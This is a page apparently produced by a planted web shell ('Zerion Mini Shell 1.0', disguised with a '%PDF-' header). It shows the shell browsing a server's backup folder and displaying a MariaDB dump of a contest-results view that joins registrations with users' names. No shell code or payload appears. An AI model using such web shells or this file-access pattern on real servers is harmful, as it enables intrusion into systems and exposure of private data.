%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/backups/db_backups/mysql/db.old/loslex/
Upload File :
Create Path :
Current File : //proc/985914/root/backups/db_backups/mysql/db.old/loslex/w_contest_results.sql

/*M!999999\- enable the sandbox mode */ 
-- MariaDB dump 10.19  Distrib 10.6.22-MariaDB, for debian-linux-gnu (x86_64)
--
-- Host: localhost    Database: loslex
-- ------------------------------------------------------
-- Server version	10.6.22-MariaDB-0ubuntu0.22.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Temporary table structure for view `w_contest_results`
--

DROP TABLE IF EXISTS `w_contest_results`;
/*!50001 DROP VIEW IF EXISTS `w_contest_results`*/;
SET @saved_cs_client     = @@character_set_client;
SET character_set_client = utf8mb4;
/*!50001 CREATE VIEW `w_contest_results` AS SELECT
 1 AS `contest_id`,
  1 AS `bgdivision`,
  1 AS `registration_id`,
  1 AS `percent`,
  1 AS `firstname`,
  1 AS `lastname`,
  1 AS `namesuffix`,
  1 AS `origdivision`,
  1 AS `notcomp`,
  1 AS `dq` */;
SET character_set_client = @saved_cs_client;

--
-- Final view structure for view `w_contest_results`
--

/*!50001 DROP VIEW IF EXISTS `w_contest_results`*/;
/*!50001 SET @saved_cs_client          = @@character_set_client */;
/*!50001 SET @saved_cs_results         = @@character_set_results */;
/*!50001 SET @saved_col_connection     = @@collation_connection */;
/*!50001 SET character_set_client      = utf8mb4 */;
/*!50001 SET character_set_results     = utf8mb4 */;
/*!50001 SET collation_connection      = utf8mb4_general_ci */;
/*!50001 CREATE ALGORITHM=UNDEFINED */
/*!50013 DEFINER=`loslex`@`localhost` SQL SECURITY DEFINER */
/*!50001 VIEW `w_contest_results` AS select `rp`.`contest_id` AS `contest_id`,`rp`.`bgdivision` AS `bgdivision`,`rp`.`registration_id` AS `registration_id`,`rp`.`total_percent` / `best`.`percent` * 100 AS `percent`,`u`.`firstname` AS `firstname`,`u`.`lastname` AS `lastname`,`u`.`namesuffix` AS `namesuffix`,`cd`.`bgdivision` AS `origdivision`,`r`.`notcomp` AS `notcomp`,`r`.`dq` AS `dq` from (((((select max(`w_registration_percent`.`total_percent`) AS `percent`,`w_registration_percent`.`contest_id` AS `contest_id`,`w_registration_percent`.`bgdivision` AS `bgdivision` from `w_registration_percent` where `w_registration_percent`.`notcomp` = 0 and `w_registration_percent`.`dq` = 0 group by `w_registration_percent`.`contest_id`,`w_registration_percent`.`bgdivision`) `best` join `w_registration_percent` `rp` on(`rp`.`contest_id` = `best`.`contest_id` and `rp`.`bgdivision` = `best`.`bgdivision`)) join `registrations` `r` on(`r`.`id` = `rp`.`registration_id`)) join `users` `u` on(`r`.`user_id` = `u`.`id`)) join `contest_divisions` `cd` on(`r`.`contest_division_id` = `cd`.`id`)) */;
/*!50001 SET character_set_client      = @saved_cs_client */;
/*!50001 SET character_set_results     = @saved_cs_results */;
/*!50001 SET collation_connection      = @saved_col_connection */;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2025-08-29  4:10:29

Zerion Mini Shell 1.0